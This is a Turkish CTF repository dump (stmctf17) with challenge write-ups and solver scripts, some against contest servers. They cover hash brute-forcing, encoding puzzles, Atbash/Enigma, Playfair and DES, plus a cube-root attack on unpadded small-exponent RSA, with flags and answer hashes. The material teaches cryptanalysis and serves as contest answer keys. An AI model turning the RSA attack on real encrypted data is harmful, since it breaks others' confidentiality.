├── CODING ├── 6ustuKarakter │ └── README.md ├── README.md ├── RENGARENK │ ├── README.md │ ├── code.png │ └── ren1.png ├── calculator │ └── README.md └── encodingLoop │ ├── 56eafb661da1f97918aa73d9e9461389.zip │ ├── README.md │ ├── encodingLoop0.png │ ├── encodingLoop1.png │ ├── encodingLoop2.png │ ├── encodingLoop3.png │ ├── encodingLoop4.png │ └── encodingLoop5.png ├── CRYPTO ├── ATBASIgidiyorlardi │ ├── README.md │ ├── atbash1.png │ └── atbash2.png ├── Balkupu │ ├── README.md │ ├── balkupu1.png │ ├── cuberoot.py │ └── f0fc1bc65d283fc5c065a364de26ebaa.zip ├── DestekIstiyorumSizden │ ├── README.md │ ├── c460e1ea3455bbf5b4253a8a7d5f55a5.zip │ ├── destek1.png │ ├── destek2.png │ ├── destek3.png │ └── destek4.png ├── Dinazor │ └── README.md ├── DiskYuvarlakKodKare │ ├── README.md │ ├── d02f7fa78908987a9460a4decbb1a927.png │ ├── disk1.png │ ├── disk2.png │ ├── disk3.png │ └── f93f75f8cae4a51cdd9b491a7c11c69d.zip ├── LFSR64 │ ├── 1368bcdb1fd305416757edbe85a35843.zip │ ├── README.md │ └── lsfr1.png ├── README.md └── SAtheDarknight │ ├── 439eec60a5ce2520a4078dac350c6e4b.zip │ ├── README.md │ ├── dk1.png │ ├── dk2.png │ ├── dk3.png │ ├── dk4.png │ └── flag.zip ├── FOR ├── DerinArastirma │ ├── README.md │ ├── der1.png │ ├── der2.png │ ├── der3.png │ ├── der4.png │ └── der5.png ├── FarkiBul │ ├── README.md │ ├── c214364ee8d366a4170337c5216f498c.zip │ ├── fark1.png │ ├── fark2.png │ └── fark3.png ├── KarakoyMuhallebicisi │ ├── 41795a29a6d369da13d9bbc086008ca1.zip │ ├── README.md │ ├── kar1.png │ ├── kar2.png │ └── kar3.png ├── Kostebek │ ├── README.md │ ├── kostebek1.png │ ├── kostebek2.png │ └── kostebek3.png └── README.md ├── MISC ├── AdresiBul │ ├── README.md │ ├── adr1.png │ ├── adr2.png │ ├── adr3.png │ └── adr4.png ├── DijitalDunyadanCik │ └── README.md ├── IcimYandi │ ├── README.md │ ├── b6d4575a18de06e94ae0b06c0b4115b7.jpg │ ├── ic1.png │ ├── ic2.png │ ├── ic3.png │ └── ic4.png ├── KarisikKaset │ ├── README.md │ ├── karisikkaset1.png │ └── karisikkaset2.png ├── NURELLA │ ├── 67b99362ffe51662399a5c2bad15e284.jpg │ ├── README.md │ ├── nur1.png │ ├── nur2.png │ └── nur3.png ├── OokYasa │ ├── 09f16d5a13fcbeeedf6d6f3e5b8824bc.zip │ ├── README.md │ └── ook1.png ├── README.md ├── SatirSutun │ ├── 18f93631294fd8aebd1b57484e511bf6.zip │ ├── README.md │ └── satirsutun.png └── ZafiyetiBul │ ├── README.md │ ├── zaf1.png │ ├── zaf2.png │ └── zaf3.png ├── MOB ├── Matrix │ ├── README.md │ ├── flag.zip │ ├── mat1.png │ ├── mat2.png │ └── mat3.png ├── PREMIUM-NUMBER │ ├── 6c7235643de4bebd2a10820a3b7853f6.zip │ ├── README.md │ ├── flag.zip │ ├── prem1.png │ ├── prem10.png │ ├── prem11.png │ ├── prem2.png │ ├── prem3.png │ ├── prem4.png │ ├── prem5.png │ ├── prem6.png │ ├── prem7.png │ ├── prem8.png │ └── prem9.png ├── README.md ├── Ransomware │ ├── 4113c0e5a8ed4bc8e81f8dbcf8beeef5.zip │ ├── README.md │ ├── flag.zip │ ├── ran1.png │ └── ran2.png ├── TombulKus │ ├── 6b6251894b1f2922d9860b9c4e99e7d5.zip │ ├── README.md │ ├── tombul1.png │ ├── tombul2.png │ └── tombul3.png └── freewifi │ ├── README.md │ ├── freewifi0.tiff │ └── freewifi1.tiff ├── PWN ├── NOPME │ ├── NOPME │ ├── NOPME_patched │ ├── README.md │ ├── nop1.png │ ├── nop2.png │ ├── nop3.png │ ├── nop4.png │ └── sleeps.txt ├── PWINGME │ ├── README.md │ ├── p1.png │ ├── p2.png │ ├── p3.png │ ├── p4.png │ └── pwingme ├── README.md └── Retro │ ├── README.md │ ├── r1.png │ ├── r2.png │ ├── r3.png │ └── retro ├── README.md ├── REVERSE ├── BeniCalistirma │ ├── README.md │ ├── ac78fc90b6fb7e17ec2d35e09e7b008d.zip │ ├── beniCalistirma_0.png │ └── beniCalistirma_1.png ├── FacelessFlag │ ├── 32ada5b75430c524df16bf3b1428e65e.zip │ ├── README.md │ ├── fa1.png │ ├── fa10.png │ ├── fa2.png │ ├── fa3.png │ ├── fa4.png │ ├── fa5.png │ ├── fa6.png │ ├── fa7.png │ ├── fa8.png │ └── fa9.png ├── README.md ├── Sss │ ├── 7605274185f215e181254aeab3837cb4.zip │ ├── README.md │ ├── sss1.png │ └── sss2.png ├── cProjem │ ├── 82b5f85851c228a1882ea18d22f2eb66.zip │ ├── README.md │ └── cProjem.png └── crackMe │ ├── README.md │ ├── b756d6413e4bbcd7ba46f210e345cad2.zip │ ├── crackMe0.png │ ├── crackMe1.png │ ├── crackMe2.png │ ├── crackMe3.png │ └── crackMe4.png ├── WEB ├── HackOpssVol5465 │ ├── README.md │ ├── koa1.png │ ├── koa10.png │ ├── koa11.png │ ├── koa12.png │ ├── koa13.png │ ├── koa14.png │ ├── koa15.png │ ├── koa16.png │ ├── koa17.png │ ├── koa2.png │ ├── koa3.png │ ├── koa4.png │ ├── koa5.png │ ├── koa6.png │ ├── koa7.png │ ├── koa8.png │ └── koa9.png ├── Postaci │ ├── README.md │ ├── po0.png │ ├── po1.png │ ├── po10.png │ ├── po11.png │ ├── po12.png │ ├── po2.png │ ├── po3.png │ ├── po4.png │ ├── po5.png │ ├── po6.png │ ├── po7.png │ ├── po8.png │ └── po9.png ├── README.md ├── TatilFirsati │ ├── README.md │ ├── tatil0.png │ ├── tatil1.png │ └── tatilsoru.png └── odie │ ├── 6b51d5a125cf6c0eca3d1df3545b7d25.zip │ ├── README.md │ ├── odie0.jpeg │ └── odie2.png └── stmctf17.png /CODING/6ustuKarakter/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: 6 Ustu Karakter 3 | 4 | ## Soru Metni: 5 | 6 | Bana en az 6 karakterli oyle bir x degeri ver ki ben de sana FLAG'i vereyim. 7 | 8 | nc 192.168.$MASANO.5 3333 9 | 10 | ## Çözüm: 11 | 12 | Sunucuda belirlenen portta çalışan servis yarışmacıya random ürettiği 6 karakterli bir sayının sha1(md5(x)) değerinin ilk 6 karakterini vermektedir. 13 | Yarışmacıdan 6 karakterli bu sayıyı 5 saniye içerisinde hesaplayıp sunucuya göndermesi beklenmektedir. 14 | 15 | Yarışmacı 5 saniyeden az bir surede sorulan soruyu cevaplayacak bir script hazırlamalıdır. Aşağıdaki python scripti sorulan soruyu cevaplayarak flagi alabilecektir: 16 | 17 | ```python 18 | #!/usr/bin/python 19 | 20 | import hashlib 21 | from pwn import * 22 | import sys 23 | 24 | host = "X.X.X.X" 25 | port = 3333 26 | 27 | conn = remote(host,port) 28 | data = conn.recvuntil("\n") 29 | 30 | #6 karakterli sayi 31 | candidate = 100000 32 | 33 | #sunucudaki soruyu parse ederek sha1(md5(x)) değerini aliyor. 34 | target=(data.split(" ")[16]) 35 | print "question: "+data 36 | print "sha1(md5(x)): "+target 37 | 38 | #6 karakterli butun sayilari deneyerek hepsinin sha1(md5(sayi)) degerini hesapliyor. 39 | while candidate<1000000: 40 | md5hash_object = hashlib.md5(str(candidate)) 41 | md5 = md5hash_object.hexdigest() 42 | 43 | sha1hash_object = hashlib.sha1(md5) 44 | sha1 = sha1hash_object.hexdigest()[:6] 45 | 46 | #deger sorulan sorudaki degere esitse sunucuya göndererek sunucudan donen cevabi aliyor. 47 | if (sha1 == target): 48 | print "x: "+str(candidate) 49 | conn.send(str(candidate)+"\n") 50 | print "flag = "+conn.recvline() 51 | break 52 | candidate = candidate + 1 53 | 54 | conn.close() 55 | ``` 56 | 57 | -------------------------------------------------------------------------------- /CODING/README.md: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /CODING/RENGARENK/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: RENGARENK 3 | 4 | ## Soru Metni: 5 | 6 | Bana sayıyı 5 saniye içinde söyle FLAG'i kap! 7 | 8 | nc 192.168.$MASANO.5 6666 9 | 10 | ## Çözüm: 11 | 12 | Sunucuda belirlenen portta çalışan servis yarışmacıya base64 değer dönmektedir. 13 | Yarışmacıdan beklenen sunucuya belli bir süre içinde istenen sayıyı doğru olarak yollaması. 14 | 15 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CODING/RENGARENK/ren1.png) 16 | 17 | 1. Yarışmacı base64 değerini decode ettiği zaman 20 karakterli bir sayı olan PNG dosyası elde etmektedir. 18 | 19 | 2. Her rakamın yer aldığı kutu farklı renktedir. Aşağıdaki gibi color code vardır: 20 | color = {"1":"red", "2":"blue", "3":"white", "4":"yellow", "5":"green", "6":"pink", "7":"orange", "8":"purple", "9":"magenta", "0":"gray"} 21 | 22 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CODING/RENGARENK/code.png) 23 | 24 | 25 | 3. Resim boyutu 400x30 şeklindedir. Her rakamın kutusu 20x30 luktur. 26 | 27 | 4. Yarışmacıdan beklenen color code u keşfedip her kutunun ilk pixelindeki yani, [0,0],[20,0],[40,0]....[380,0] pixellerindeki RGB değeriyle rakamı eşleştirip sunucuya yollayacak bir kod yazmasıdır. 28 | 29 | 5. Aşağıdaki python scripti sorulan soruyu cevaplayarak flag i alabilecektir: 30 | 31 | ```python 32 | #!/usr/bin/python 33 | 34 | from random import * 35 | from pwn import * 36 | from PIL import Image, ImageFont, ImageDraw, ImageEnhance 37 | import socket 38 | 39 | host = "X.X.X.X" 40 | port = 6666 41 | 42 | conn = remote(host,port) 43 | # sunucudaki base64 degeri al. 44 | data=conn.recvuntil("\n") 45 | 46 | # sorulan soruyu base64 decode ederek png dosyasina yazarak resmi olustur. 47 | fo = open("question.png", "wb") 48 | fo.write(data.decode('base64')) 49 | fo.close() 50 | 51 | # sayinin oldugu png dosyasini ac. 52 | im= Image.open("question.png") 53 | pix = im.load() 54 | size = im.size 55 | 56 | # sayilarla RGB degerlerini eslestir. 57 | number="" 58 | colorcode = {\ 59 | (128, 128, 128):"0",\ 60 | (255, 0, 0):"1",\ 61 | (0, 0, 255):"2",\ 62 | (255, 255, 255):"3",\ 63 | (255, 255, 0):"4",\ 64 | (0, 128, 0):"5",\ 65 | (255, 192, 203):"6",\ 66 | (255, 165, 0):"7",\ 67 | (128, 0, 128):"8",\ 68 | (255, 0, 255):"9"} 69 | 70 | x=0 71 | number="" 72 | 73 | # her kutu icin ilk pixelin (sol ust kose) RGB degerini oku. [0,0], [20,0],[40,0]....[380,0] lardaki RGB degerleri. ve bu degerleri rakamlarla eslestir. 74 | while x<20: 75 | rgb=pix[20*x,0] 76 | number += colorcode[rgb] 77 | x += 1 78 | 79 | print "number: "+number 80 | 81 | # hesaplanan sayiyi sunucuya gonderek sunucudan donen flag i al. 82 | conn.send(number+"\n") 83 | print conn.recvline()+"\n" 84 | print "flag = "+conn.recvline() 85 | 86 | conn.close() 87 | ``` 88 | 89 | 90 | 91 | 92 | 93 | 94 | -------------------------------------------------------------------------------- /CODING/RENGARENK/code.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/RENGARENK/code.png -------------------------------------------------------------------------------- /CODING/RENGARENK/ren1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/RENGARENK/ren1.png -------------------------------------------------------------------------------- /CODING/calculator/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: calculator 3 | 4 | ## Soru Metni: 5 | 6 | http://192.168.$MASANO.5:4444/calculator.php sayfasında matematiğimizi ölçüyorlarmış. Sana güveniyorum, bence sen bütün soruları doğru cevaplarsın. 7 | 8 | ## Çözüm: 9 | 10 | 11 | ```python 12 | 13 | #!/usr/bin/python 14 | 15 | import requests 16 | import time 17 | import base58 18 | import binascii 19 | 20 | headers = {'User-Agent': 'Mozilla/5.0'} 21 | URL='http://X.X.X.X/calculator.php' 22 | session = requests.Session() 23 | postdata="" 24 | flag="" 25 | 26 | #ilk requesti yaparak Soru 0 i aliyor. 27 | def sendgetreq(session,URL): 28 | getreq = session.get(url = URL) 29 | getdataresp= getreq.text 30 | return getdataresp 31 | 32 | # sayfadaki degerleri parse ederek sayilari ve operand i aliyor. Ona gore islemi yapiyor. 33 | def calculate(data): 34 | number1=data.split("
")[4].split(" ")[0] 35 | number2=data.split("
")[4].split(" ")[2] 36 | operand=data.split("
")[4].split(" ")[1] 37 | print data.split("
")[2][3:]+" "+data.split("
")[4] 38 | if operand=="+": 39 | result=int(number1)+int(number2) 40 | if operand=="-": 41 | result=int(number1)-int(number2) 42 | if operand=="*": 43 | result=int(number1)*int(number2) 44 | 45 | print "result: "+str(result) 46 | return result 47 | 48 | 49 | # calculate fonskiyonunu kullanarak sorunun cevabini hesapliyor ve POST requesti yaparak sunucuya yolluyor ve sunucudan gelen response u aliyor. 50 | def req(question): 51 | payload= {'input':str(calculate(question)),'submit':'Submit+Query'} 52 | postreq=session.post(url=URL,headers=headers,data=payload) 53 | postdataresptext=postreq.text 54 | postdatarespheaders=postreq.headers 55 | postdataresp=[postdataresptext,postdatarespheaders] 56 | return postdataresp 57 | 58 | # session expire olmadigi surece bu fonskiyon req fonksiyonunu kullanarak sorunun cevabini gonderiyor ve donen responsetaki headerdaki FLAG degerini aliyor. 59 | def sendresult(postdata): 60 | postdataresponse=req(postdata) 61 | postdata=postdataresponse[0] 62 | headers=postdataresponse[1] 63 | print "Cevap "+postdata.split("
")[0]+"\n" 64 | if ("Dogru" in postdata.split("
")[0]): 65 | if (headers.get("FLAG")!=None): 66 | flag=(headers.get("FLAG")).split("_")[1] 67 | else: flag="" 68 | else: 69 | print "start again!\n" 70 | print "----------\n" 71 | flag="" 72 | return postdata,flag 73 | 74 | 75 | while "bu son" not in flag: 76 | #verilen her dogru cevap icin sendresult fonksiyonunu kullanarak header daki flag i aliyor. 77 | if ("Dogru" in postdata): 78 | response=sendresult(postdata) 79 | postdata=response[0] 80 | flag=flag+response[1] 81 | else: 82 | #web sayfasinda "Dogru" bulunmadigi zaman (session expire olduysa ya da yanlis cevap verildiyse) sendgetreq fonksiyonuna gidiyor ve ilk istegi yaparak Soru 0 i alıyor. 83 | postdata=sendgetreq(session,URL) 84 | response=sendresult(postdata) 85 | postdata=response[0] 86 | flag=flag+response[1] 87 | 88 | # flag i base58 decode ediyor. 89 | print "flag: "+flag 90 | flag_hex = base58.b58decode(flag[:-12]) 91 | print flag_hex 92 | 93 | # hex degeri binary ye cevirerek dosyaya yaziyor ve png dosyasi olusuyor. 94 | fout=open('test', 'wb') 95 | fout.write(binascii.unhexlify(flag_hex)) 96 | fout.close() 97 | 98 | ``` 99 | -------------------------------------------------------------------------------- /CODING/encodingLoop/56eafb661da1f97918aa73d9e9461389.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/56eafb661da1f97918aa73d9e9461389.zip -------------------------------------------------------------------------------- /CODING/encodingLoop/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: encodingLoop 2 | 3 | ## Soru Metni: 4 | Biraz karıştırdık. Encode ettik, evirdik, çevirdik, rot'ladık, biraz da ipucu iliştirdik ve sana çözmen için bıraktık. 5 | 6 | ## Çözüm: 7 | 1. 56eafb661da1f97918aa73d9e9461389.zip dosyasi icerisinden yaklasik 20 MB buyuklugunda flag.txt dosyasi cikiyor. Dosyanin icerigi incelendiginde BASE64 ile encode edildigi anlasiliyor. 8 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CODING/encodingLoop/encodingLoop4.png) 9 | 10 | 2. flag.txt dosyasi base64 ile decode edildiginde base32 ifadesini takiben yeni bir encode edilmis text metin gozukuyor. 11 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CODING/encodingLoop/encodingLoop5.png) 12 | 13 | 3. Her decode sonrasinda bir sonraki encode isleminin ne olacagi dosyanin basinda belirtiliyor. 14 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CODING/encodingLoop/encodingLoop0.png) 15 | 16 | 4. base64, base32, rot_13, bz2_codec, zlib_codec ve xor islemlerinin oldugu ve rastgele tekrar ettigi anlasiliyor. xor formatinda digerlerinden farkli olarak hangi karakter ile xor edildigi de belirtiliyor. xor_y ifadesi y ile xor edildigini gosteriyor. 17 | 18 | 5. Toplanan bu bilgiler ile decode python kodunu su sekilde olur. 19 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CODING/encodingLoop/encodingLoop1.png) 20 | 21 | 6. Python kodunu calistirdigimizda 227 decode isleminden sonra flag karsimiza cikiyor. 22 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CODING/encodingLoop/encodingLoop2.png) 23 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CODING/encodingLoop/encodingLoop3.png) 24 | 25 | FLAG: STMCTF{3ll3_0lacak_Gibi_Degildi!} 26 | -------------------------------------------------------------------------------- /CODING/encodingLoop/encodingLoop0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop0.png -------------------------------------------------------------------------------- /CODING/encodingLoop/encodingLoop1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop1.png -------------------------------------------------------------------------------- /CODING/encodingLoop/encodingLoop2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop2.png -------------------------------------------------------------------------------- /CODING/encodingLoop/encodingLoop3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop3.png -------------------------------------------------------------------------------- /CODING/encodingLoop/encodingLoop4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop4.png -------------------------------------------------------------------------------- /CODING/encodingLoop/encodingLoop5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CODING/encodingLoop/encodingLoop5.png -------------------------------------------------------------------------------- /CRYPTO/ATBASIgidiyorlardi/README.md: -------------------------------------------------------------------------------- 1 | 2 | ## Soru İsmi: ATBAŞI gidiyorlardı... 3 | 4 | ## Soru Metni: 5 | Xlp lmvnor lowftfmf wfhfmwftfnfa yri plmfhnzbr gvohraov pzbwvggrp znz rhrm rxrmwvm xrpznrblifa. Fx ilgliof yri nzprmvwvm yzshvwrbliozi. Rop ilgli klarhblmoziı hrizhrboz W Z ev X. Yriyrirmv yztor sziuovi wv ZY ev IF. Bzpzozwrtrnra nvhzq rhv SYXDFQ{GTSAACELFTEKNEBILMJCS} 6 | 7 | 8 | ## Çözüm: 9 | 1.ATBASH kripto sistemi M.Ö 1000 civarlarında kullanılan tarihteki ilk kripto sistemlerinden birisidir. A-Z, B-Y, C-X olacak şekilde devam eder ve aynalama sistemi olarak da bilinir. ENIGMA ise bilindiği gibi 2. Dünya savaşında Alman ordusu tarafından kullanılmış ve kırılması ile savaşın seyri değişmiştir. 10 | 11 | 2.Başlıktan ATBASH şifrelemesi kullanıldığı anlaşılmakta, yarışmanın ilerleyen bölümlerinde de ipucu olarak verilmişti. http://www.dcode.fr/atbash-mirror-cipher sitesinden çözüldüğünde ise şöyle bir metin çıkmakta. 12 | 13 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/ATBASIgidiyorlardi/atbash1.png) 14 | 15 | Cok onemli oldugunu dusundugumuz bir konusmayi telsizle kaydettik ama isin icinden cikamiyoruz. Uc rotorlu bir makineden bahsediyorlar. Ilk rotor pozisyonları sirasiyla D A ve C. Birbirine bagli harfler de AB ve RU. Yakaladigimiz mesaj ise HBCWUJ{TGHZZXVOUGVPMVYRONQXH}. 16 | 17 | 3.Verilen rotor vb. kelimelerden şifreleme makinesinin ENIGMA olduğu anlaşılmakta. 18 | http://enigmaco.de/enigma/enigma.html ya da http://enigma.louisedade.co.uk/enigma.html siteleri kullanılarak verilen parametreler girildiğinde HBCWUJ{TGHZZXVOUGVPMVYRONQXH}. 19 | metninin çözümü STMCTF{ENIGMAYIDAKIRDINBRAVO} çıkmakta. 20 | 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/ATBASIgidiyorlardi/atbash2.png) 22 | 23 | 4.Dolayısıyla doğru cevap MD5(STMCTF{ENIGMAYIDAKIRDINBRAVO}) = A59F8B06DD35EAB52C8A90998AD4C7D7 24 | 25 | -------------------------------------------------------------------------------- /CRYPTO/ATBASIgidiyorlardi/atbash1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/ATBASIgidiyorlardi/atbash1.png -------------------------------------------------------------------------------- /CRYPTO/ATBASIgidiyorlardi/atbash2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/ATBASIgidiyorlardi/atbash2.png -------------------------------------------------------------------------------- /CRYPTO/Balkupu/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: Balküpü 4 | 5 | ## Soru Metni: 6 | 8192 bitlik öyle bir modulus kullanmışlar ki kırmaya değil bakmaya bile cesaret edemiyoruz. Bir şekilde kırılmalı bu metin, vazgeçmek yok! 7 | f0fc1bc65d283fc5c065a364de26ebaa.zip 8 | 9 | ## Çözüm: 10 | 1.Standart dışı RSA gerçeklemelerinde (bu soruyu oluşturmak için kullanılan kullanılan Python Crypto modülü dahil) mesaj bloğuna dolgulama (padding) yapılmayıp küçük bir exponent (e=3 gibi) kullanıldığında şifreli metnin uzunluğunun modulusun (8192 bit) uzunluğunu geçmeme ihtimali vardır. Soru metnine bakıldığında şifreli mesajın (c) boyunun modulustan (n) çok daha küçük olduğu görülmekte. 11 | 12 | 2.Bu durumda çok basit bir şekilde şifreli metnin küp kökü alındığında açık mesaja ulaşılabilir! 13 | 14 | 3.Gerek sorunun başlığında gerekse yarışma boyunca verilen ipuçlarıyla (I: Mesaj boyu oldukça küçük ve dolgulama (padding) yapılmamış. II: Küp kök mü alsak? ) bu durum anlatıldı ancak ne yazık ki çözüme ulaşan olmadı. 15 | 16 | 4.Aşağıdaki python kodundan faydalanabiliriz. 17 | 18 | https://github.com/stmctf/stmctf17/blob/master/CRYPTO/Balkupu/cuberoot.py 19 | 20 | 21 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/Balkupu/balkupu1.png) 22 | 23 | 5.Metni_oyle_bir_yazdik_ki_kupunu_alsak_da_modulusun_boyunu_gecmiyor. Yani_STMCTF{Padding_yoksa_RSA_8192_bile_kirilabiliyor} 24 | 25 | Dolayısıyla MD5 özet değerimiz = MD5(STMCTF{Padding_yoksa_RSA_8192_bile_kirilabiliyor} ) = 4A66DA3D0266044A3004C2E8816A14C1 26 | 27 | 28 | -------------------------------------------------------------------------------- /CRYPTO/Balkupu/balkupu1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/Balkupu/balkupu1.png -------------------------------------------------------------------------------- /CRYPTO/Balkupu/cuberoot.py: -------------------------------------------------------------------------------- 1 | import gmpy 2 | import binascii 3 | e = 3 4 | c = 429089850888977086742785875970199042972006378606119946473791345158392144812660673807739169166212002736587394461703819376757439191995909430214519844595988118540627881539214418472376642445455166281260157943271573373000810631673674083079333860024164423217845932929455851279109843488685345694862289635603516734449264426229385862884405779162633571387701087430438450957749864949640441922866389030111889399213323075199531857011382522884723021509373151126415042674857958592678535597405735224750318016829194012504134872263287973272911560065151881222858279375079940691955035900010225960430242618122024022129424202249670204830948393077996083731365096762666555880098270752684487067710174229424221869622114311329608766358966003789666784440274620623834134923551465436303349939075429660840559941772120845882259041073162479049867040322441023188277432363755686564996290861042497293481726821 5 | m = gmpy.root(c,e) 6 | m = int(m[0].digits()) 7 | print binascii.unhexlify(hex(m)[2:-1]) 8 | -------------------------------------------------------------------------------- /CRYPTO/Balkupu/f0fc1bc65d283fc5c065a364de26ebaa.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/Balkupu/f0fc1bc65d283fc5c065a364de26ebaa.zip -------------------------------------------------------------------------------- /CRYPTO/DestekIstiyorumSizden/README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | ## Soru İsmi: Destek istiyorum Sizden 4 | 5 | ## Soru Metni: 6 | Elimde key var, script var bi de şifreli dosya var. Napçam ben bunları? Bi destek atıverin! 7 | c460e1ea3455bbf5b4253a8a7d5f55a5.zip 8 | 9 | ## Çözüm: 10 | 1. decrypt.py içerisindecipherolarakDESkullanıldığınıgörüyoruz. 11 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DestekIstiyorumSizden/destek1.png) 12 | 13 | 2. keys.txt dosyasında uygun uzunlukta bir tane key bulunuyor. 14 | 15 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DestekIstiyorumSizden/destek2.png) 16 | 17 | 3. decryptme dosyasının içinde byte’ların 1 ve 0’lardan oluşan string representation’ı görünüyor. Ufak bir script yardımıyla tekrar byte’a çevirip dosyaya yazıyoruz. Örnek kod: 18 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DestekIstiyorumSizden/destek3.png) 19 | 20 | 4. decrypt.py içinde gerekli değişiklikleri yapıp çalıştırdığımızda flag’i elde ediyoruz. 21 | 22 | ![Preview](https://github.com/stmctf/stmctf17/blob/master/CRYPTO/DestekIstiyorumSizden/destek4.png) 23 | -------------------------------------------------------------------------------- /CRYPTO/DestekIstiyorumSizden/c460e1ea3455bbf5b4253a8a7d5f55a5.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/c460e1ea3455bbf5b4253a8a7d5f55a5.zip -------------------------------------------------------------------------------- /CRYPTO/DestekIstiyorumSizden/destek1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/destek1.png -------------------------------------------------------------------------------- /CRYPTO/DestekIstiyorumSizden/destek2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/destek2.png -------------------------------------------------------------------------------- /CRYPTO/DestekIstiyorumSizden/destek3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/destek3.png -------------------------------------------------------------------------------- /CRYPTO/DestekIstiyorumSizden/destek4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/stmctf/stmctf17/6fbe1fedd18f07bc7299f2abbe3d43853a719c5c/CRYPTO/DestekIstiyorumSizden/destek4.png -------------------------------------------------------------------------------- /CRYPTO/Dinazor/README.md: -------------------------------------------------------------------------------- 1 | ## Soru İsmi: Dinazor 2 | 3 | ## Soru Metni: 4 | 5 | Öz geçmişini çok beğendik. Seninle birlikte çalışmak isteriz. Bu soruyu çöz, gel işe başla. Ama vaktin kısıtlı, zaman kaybetme. 6 | ``` 7 | Flag : 7SSYSIK1_L8LLM_I}RBY8_TF6LM7J2Y_ 8 | Key Table : ZLABE2 STMOU7 CRYPD9 1854HG {_}60K FIN3JV 9 | ``` 10 | 11 | ## Çözüm: 12 | 13 | 1. 1854 yılında tanıtımı yapılan PlayFair Cipher kullanılmıştır. Soruda verilen KEY içerisinde yardımcı olması için bazı kelimeler var. Kelimeler başa gelecek şekilde KEY bölünmeye başlanınca 6x6 Key Table oluşmaya başlıyor. ZLAB, STM ve CRYP birer ipucu. 14 | 15 | 2. Flag'i 2'li gruplara boluyoruz. 16 | ``` 17 | Flag : 7SSYSIK1_L8LLM_I}RBY8_TF6LM7J2Y_ 18 | Flag Bolunmus : 7S SY SI K1 _L 8L LM _I }R BY 8_ TF 6L M7 J2 Y_ 19 | ``` 20 | 21 | 3. Key Table'i 6'li gruplara ayiriyoruz. 22 | ``` 23 | ZLABE2 24 | STMOU7 25 | CRYPD9 26 | 1854HG 27 | {_}60K 28 | FIN3JV 29 | ``` 30 | 31 | 4. Sonra klasik PlayFair Cipher çözümü ile flag çıkıyor. 32 | ``` 33 | 7S SY SI K1 _L 8L LM _I }R BY 8_ TF 6L M7 J2 Y_ 34 | ST MC TF {G IT _T AT IL _Y AP _I SI _B OS VE R} 35 | ``` 36 | FLAG: STMCTF{GIT_TATIL_YAP_ISI_BOSVER} 37 | 38 | 6. 